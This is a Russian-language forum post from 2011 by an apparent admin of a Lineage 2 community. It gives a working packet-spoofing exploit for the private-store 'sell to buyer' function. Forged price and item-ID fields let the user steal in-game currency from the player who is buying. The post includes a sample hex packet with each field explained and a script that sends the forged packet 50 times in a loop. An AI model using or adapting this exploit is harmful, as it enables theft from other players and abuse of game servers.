Добро пожаловать на la2shara. У нас на фруме вы найдёте м...

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
ража через покупку
6e36aweHHbluДата: Воскресенье, 17.04.2011, 18:24 | Сообщение # 1
Генералиссимус
Группа: Администраторы
Сообщений: 229
Награды: 6
Репутация: 10032
Статус: Offline
На самом деле,данный баг я нашел еще с пол года назад.
В паблик вылаживать не хотел.
На видео вообще нифига не понятно,поэтому делаю описание бага:
Суть бага в том,что мы в пакете на "Продажу покупающему" подменяем цену продажи, ObjectID продаваемого прмедмета, его ID.
Вот пример пакета:
96 01 00 00 00 01 00 00 00 49 BD 05 10 85 5F 05 10 00 00 00 00 01 00 00 00 AA 00 00 00
Описание частей пакета:
96 - байт,который определяет тип пакета.
01 00 00 00 - objID игрока,который сидит на покупке.
01 00 00 00 - в нашем случае роли не играет.
49 BD 05 10 - ObjID любой шмотки,которая в нас есть.
85 5F 05 10 - ID "продаваемой" шмотки.Советую использовать вообще ID от фонаря,как у меня в примере.
01 00 00 00 - Количество "продаваемых" предметов,тоже для нас не играет роль.
AA 00 00 00 - Сумма аден,которую мы будем красть у игрока за одну отсылку пакета. Что бы задать свою сумму - идем в "Дополнительно","Переобразование". Выбираем DWord,пишем в левый столбик ,например, 1000000 и жмем на ">".В правом столбике получаем переобразованные байты.Их и подставляем.

скрипт

Code
var
i:integer;

begin
if (FromServer) and (pck[1]=#$B8) then
begin
buf:=HStr('96')+pck[2]+pck[3]+pck[4]+pck[5]+HStr('01 00 00 00 49 BD 05 10 85 5F 05 10 00 00 00 00 01 00 00 00 AA 00 00 00');
for i:=1 to 50 do
SendToServerEx('vlaha');
end;
end.
 
  • Страница 1 из 1
  • 1
Поиск: